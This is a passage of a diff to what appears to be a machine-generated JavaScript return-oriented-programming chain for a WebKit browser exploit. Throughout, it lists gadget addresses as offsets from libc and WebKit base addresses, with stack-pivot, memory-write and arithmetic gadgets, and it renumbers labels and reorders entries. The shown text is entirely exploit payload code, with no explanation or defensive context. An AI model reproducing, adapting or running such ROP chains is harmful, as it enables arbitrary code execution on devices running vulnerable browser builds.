rax, rcx libc_base+792472 //pop rcx ]); -//L3283: +//L3293: db([0, 0]); // 0x0 -//L3281: +//L3291: set_gadgets([ libc_base+793877, //pop rsi -ropchain+203824, //L3284 +ropchain+204480, //L3296 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3284: +//L3295: +db([4294967236, 4294967295]); // -0x3c +set_gadget(libc_base+792472,); //pop rcx +//L3296: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3285: -db([4294967244, 4294967295]); // -0x34 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+203928, //L3287 +ropchain+204568, //L3297 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+203944, //L3288 +ropchain+204584, //L3299 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3287: +//L3297: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3288: +//L3299: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+204096, //L3290 +ropchain+204736, //L3300 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+204128, //L3293 +ropchain+204768, //L3303 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+204112, //L3291 +ropchain+204720, //L3301 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+204080, //L3292 +ropchain+204752, //L3302 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3292: +//L3301: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3290: +//L3300: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3291: +//L3302: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3293: +//L3303: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+204200, //L3294 +ropchain+204840, //L3304 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+204216, //L3295 +ropchain+204856, //L3305 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3294: +//L3304: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3295: +//L3305: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+204320, //L3299 +ropchain+204960, //L3308 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+204368, //L3300 +ropchain+205008, //L3310 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+204336, //L3297 +ropchain+204992, //L3309 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3299: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3297: +//L3308: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3298: +//L3307: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3309: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3300: +//L3310: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+204480, //L3301+8 +ropchain+205120, //L3311+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+204472, //L3301 +ropchain+205112, //L3311 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3301: +//L3311: db([0, 0]); // 0x0 set_gadgets([ -ropchain+204496, //L3301+24 -ropchain+209760, //L3296 +ropchain+205136, //L3311+24 +ropchain+210400, //L3306 libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L3303: -db([4294967244, 4294967295]); // -0x34 +//L3313: +db([4294967236, 4294967295]); // -0x3c set_gadget(libc_base+792472,); //pop rcx -//L3304: +//L3314: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+204616, //L3305 +ropchain+205256, //L3315 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+204632, //L3306 +ropchain+205272, //L3317 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3305: +//L3315: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3306: +//L3317: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+204784, //L3308 +ropchain+205424, //L3318 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+204816, //L3311 +ropchain+205456, //L3321 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+204800, //L3309 +ropchain+205408, //L3319 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+204768, //L3310 +ropchain+205440, //L3320 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3310: +//L3319: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3308: +//L3318: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3309: +//L3320: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3311: +//L3321: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+204888, //L3312 +ropchain+205528, //L3322 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+204904, //L3313 +ropchain+205544, //L3323 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3312: +//L3322: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3313: +//L3323: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+205000, //L3315 +ropchain+205640, //L3325 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+204984, //L3314 +ropchain+205624, //L3324 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3314: +//L3324: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3315: +//L3325: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23670,55 +23771,55 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+205080, //L3316 +ropchain+205736, //L3328 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3316: +//L3327: +db([4294967240, 4294967295]); // -0x38 +set_gadget(libc_base+792472,); //pop rcx +//L3328: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3317: -db([4294967248, 4294967295]); // -0x30 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+205184, //L3319 +ropchain+205824, //L3329 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+205200, //L3320 +ropchain+205840, //L3331 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3319: +//L3329: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3320: +//L3331: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+205344, //L3324 +ropchain+205984, //L3334 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+205312, //L3322 +ropchain+205952, //L3332 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+205328, //L3323 +ropchain+205968, //L3333 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3322: +//L3332: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3323: +//L3333: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3324: +//L3334: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23726,77 +23827,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+205424, //L3325 +ropchain+206080, //L3337 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3325: +//L3336: +db([4294967264, 4294967295]); // -0x20 +set_gadget(libc_base+792472,); //pop rcx +//L3337: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3326: -db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+205528, //L3328 +ropchain+206168, //L3338 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+205544, //L3329 +ropchain+206184, //L3340 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3328: +//L3338: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3329: +//L3340: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+205696, //L3331 +ropchain+206336, //L3341 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+205728, //L3334 +ropchain+206368, //L3344 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+205712, //L3332 +ropchain+206320, //L3342 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+205680, //L3333 +ropchain+206352, //L3343 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3333: +//L3342: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3331: +//L3341: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3332: +//L3343: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3334: +//L3344: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+205824, //L3336 +ropchain+206464, //L3346 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+205808, //L3335 +ropchain+206448, //L3345 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3335: +//L3345: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3336: +//L3346: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23804,8 +23905,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3338: -ropchain+205928, //L3337 +//L3348: +ropchain+206568, //L3347 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -23813,8 +23914,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+216688, //L3339 -//L3337: +ropchain+211968, //L3349 +//L3347: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -23822,100 +23923,100 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+206000, //L3340 +ropchain+206656, //L3352 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3340: +//L3351: +db([4294967232, 4294967295]); // -0x40 +set_gadget(libc_base+792472,); //pop rcx +//L3352: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3341: -db([4294967240, 4294967295]); // -0x38 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L3343: -db([4294967240, 4294967295]); // -0x38 +//L3354: +db([4294967232, 4294967295]); // -0x40 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+206144, //L3345 +ropchain+206784, //L3355 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+206160, //L3346 +ropchain+206800, //L3357 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3345: +//L3355: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3346: +//L3357: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+206312, //L3348 +ropchain+206952, //L3358 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+206344, //L3351 +ropchain+206984, //L3361 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+206328, //L3349 +ropchain+206936, //L3359 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+206296, //L3350 +ropchain+206968, //L3360 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3350: +//L3359: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3348: +//L3358: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3349: +//L3360: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3351: +//L3361: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+206416, //L3352 +ropchain+207056, //L3362 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+206432, //L3353 +ropchain+207072, //L3363 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3352: +//L3362: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3353: +//L3363: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+206528, //L3355 +ropchain+207168, //L3365 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+206512, //L3354 +ropchain+207152, //L3364 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3354: +//L3364: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3355: +//L3365: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -23924,39 +24025,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+206608, //L3358 +ropchain+207248, //L3367 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3358: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3356: +//L3367: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3357: +//L3366: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3368: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+206760, //L3360 +ropchain+207400, //L3370 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+206776, //L3361 +ropchain+207416, //L3371 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+206744, //L3359 +ropchain+207384, //L3369 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3359: +//L3369: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3360: +//L3370: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3361: +//L3371: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -23969,144 +24070,144 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+8824269, //setle al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+206944, //L3362 +ropchain+207584, //L3373 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+206960, //L3364 +ropchain+207600, //L3374 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+206928, //L3363 +ropchain+207568, //L3372 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3363: +//L3372: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3362: +//L3373: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3364: +//L3374: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+207064, //L3368 +ropchain+207704, //L3377 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+207112, //L3369 +ropchain+207752, //L3379 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+207080, //L3366 +ropchain+207736, //L3378 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3368: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3366: +//L3377: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3367: +//L3376: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3378: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3369: +//L3379: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+207224, //L3370+8 +ropchain+207864, //L3380+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+207216, //L3370 +ropchain+207856, //L3380 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3370: +//L3380: db([0, 0]); // 0x0 set_gadgets([ -ropchain+207240, //L3370+24 -ropchain+207256, //L3365 +ropchain+207880, //L3380+24 +ropchain+207896, //L3375 libc_base+811575, //pop rsp -ropchain+209792, //L3371 -//L3365: +ropchain+210432, //L3381 +//L3375: libc_base+793877, //pop rsi -ropchain+207296, //L3372 +ropchain+207952, //L3384 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3372: +//L3383: +db([4294967240, 4294967295]); // -0x38 +set_gadget(libc_base+792472,); //pop rcx +//L3384: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3373: -db([4294967248, 4294967295]); // -0x30 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+207400, //L3375 +ropchain+208040, //L3385 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+207416, //L3376 +ropchain+208056, //L3387 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3375: +//L3385: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3376: +//L3387: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+207560, //L3380 +ropchain+208200, //L3390 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+207528, //L3378 +ropchain+208168, //L3388 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+207544, //L3379 +ropchain+208184, //L3389 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3378: +//L3388: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3379: +//L3389: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3380: +//L3390: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+207632, //L3382 +ropchain+208272, //L3392 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3382: +//L3392: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+207688, //L3383 +ropchain+208328, //L3394 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3383: +//L3394: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24114,83 +24215,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+207768, //L3385 +ropchain+208424, //L3397 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3385: +//L3396: +db([4294967232, 4294967295]); // -0x40 +set_gadget(libc_base+792472,); //pop rcx +//L3397: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3386: -db([4294967240, 4294967295]); // -0x38 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+207872, //L3388 +ropchain+208512, //L3398 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+207888, //L3389 +ropchain+208528, //L3400 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3388: +//L3398: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3389: +//L3400: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+208040, //L3391 +ropchain+208680, //L3401 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+208072, //L3394 +ropchain+208712, //L3404 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+208056, //L3392 +ropchain+208664, //L3402 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+208024, //L3393 +ropchain+208696, //L3403 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3393: +//L3402: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3391: +//L3401: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3392: +//L3403: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3394: +//L3404: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+208192, //L3396 +ropchain+208832, //L3406 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+208208, //L3397 +ropchain+208848, //L3407 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+208176, //L3395 +ropchain+208816, //L3405 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3395: +//L3405: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3396: +//L3406: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3397: +//L3407: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -24201,107 +24302,107 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+208296, //L3399 +ropchain+208936, //L3409 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3399: +//L3409: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+208352, //L3400 +ropchain+208992, //L3411 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3400: +//L3411: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+208424, //L3402 +ropchain+209080, //L3414 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3402: +//L3413: +db([4294967240, 4294967295]); // -0x38 +set_gadget(libc_base+792472,); //pop rcx +//L3414: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L3403: -db([4294967248, 4294967295]); // -0x30 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L3405: -db([4294967244, 4294967295]); // -0x34 +//L3416: +db([4294967236, 4294967295]); // -0x3c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+208568, //L3407 +ropchain+209208, //L3417 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+208584, //L3408 +ropchain+209224, //L3419 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L3407: +//L3417: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3408: +//L3419: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+208736, //L3410 +ropchain+209376, //L3420 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+208768, //L3413 +ropchain+209408, //L3423 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+208752, //L3411 +ropchain+209360, //L3421 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+208720, //L3412 +ropchain+209392, //L3422 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3412: +//L3421: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3410: +//L3420: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3411: +//L3422: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3413: +//L3423: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+208864, //L3415 +ropchain+209504, //L3425 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+208848, //L3414 +ropchain+209488, //L3424 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3414: +//L3424: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3415: +//L3425: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -24309,83 +24410,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+208944, //L3416 +ropchain+209600, //L3428 